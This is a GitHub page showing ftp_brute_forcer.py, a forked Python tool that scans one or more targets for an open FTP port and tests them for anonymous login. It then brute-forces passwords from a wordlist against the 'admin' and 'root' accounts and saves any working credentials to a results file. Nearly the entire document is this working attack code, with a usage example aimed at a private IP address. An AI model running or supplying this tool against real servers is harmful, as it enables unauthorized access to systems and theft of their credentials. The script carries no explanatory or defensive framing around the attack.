forked from arjnklc/FTP-Brute-Forcer
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathftp_brute_forcer.py
151 lines (120 loc) · 3.39 KB
/
ftp_brute_forcer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin python
# -*- coding:utf-8 -*-
import argparse
import sys
import socket
from ftplib import FTP
info = '''
Usage: ./ftpBrute.py [options]\n
Options: -t, --target <hostname/ip> | Target
-tfile, --targetfile <filename> | target list
-w, --wordlist <filename> | Wordlist
-h, --help <help> | print help
Example: ./ftpBrute.py -t 192.168.1.1 -w wordlist.txt
'''
def help():
print(info)
sys.exit(0)
def check_server(address, port):
s = socket.socket()
s.settimeout(5)
print('Attempting to connect to '+ address + ' on port '+ str(port))
try:
s.connect((address, port))
#print "Connected to %s on port %s" % (address, port)
return True
except socket.error as e:
print('Connection to ' + address + ' on port '+ str(port) + ' failed: '+ str(e))
return False
finally:
s.close()
def check_anonymous_login(target):
print('Testing Anonymous login for: ' + target)
try:
ftp = FTP(target, timeout=5)
status = ftp.login()
print('[+] Anonymous login is open on '+ target)
print('[+] Username : anonymous')
print('[+] Password : anonymous')
ftp.quit()
with open('./results/ftpBrute.md', 'a') as f:
f.write('- '+target+" -> anonymous:anonymous \r\n")
return status
except:
pass
def ftp_login(target, username, password):
try:
ftp = FTP(target, timeout=5)
print('Tryin to Brute ' + target + ' -> ' + username +':'+ password)
ftp.login(username, password)
ftp.quit()
print("\n[!] Credentials found for " + target)
print("[!] Username : {}".format(username))
print("[!] Password : {}".format(password))
with open('./results/ftpBrute.md', 'a') as f:
f.write('- '+target+" -> "+ username + ':' + password + "\r\n")
return 1
except:
pass
def brute_force(target, username, wordlist):
try:
wordlist = open(wordlist, "r")
words = wordlist.readlines()
for word in words:
word = word.strip()
check = ftp_login(target, username, word)
if check == 1:
return
except:
print("\n[-] There is no such wordlist file.")
sys.exit(0)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target")
parser.add_argument("-w", "--wordlist")
parser.add_argument("-tfile", "--targetfile")
args = parser.parse_args()
if not args.target and not args.targetfile or not args.wordlist:
help()
sys.exit(0)
target = args.target
targetfile = args.targetfile
wordlist = args.wordlist
usernameList = ['admin', 'root']
if targetfile is not None:
newTargetList= []
try:
with open(targetfile) as data:
targetsList = data.read().splitlines()
for host in targetsList:
portOpen = check_server(host, 21)
if portOpen is True:
anonymousCheck = check_anonymous_login(host)
if anonymousCheck is None:
newTargetList.append(host)
for user in usernameList:
for host in newTargetList:
brute_force(host, user, wordlist)
except Exception as e:
print('brute: ', e)
sys.exit(1)
else:
portOpen = check_server(target, 21)
if portOpen is False:
print('port is closed')
sys.exit(0)
else:
anonymousCheck = check_anonymous_login(target)
if anonymousCheck is not None:
sys.exit(0)
for user in usernameList:
brute_force(target, user, wordlist)
if __name__ == '__main__':
try:
main()
print("\n[-] Brute force finished.")
except KeyboardInterrupt:
print("\n[!] Keyboard Interruption detected")
exit(1)
except Exception as e:
print ('main :', e)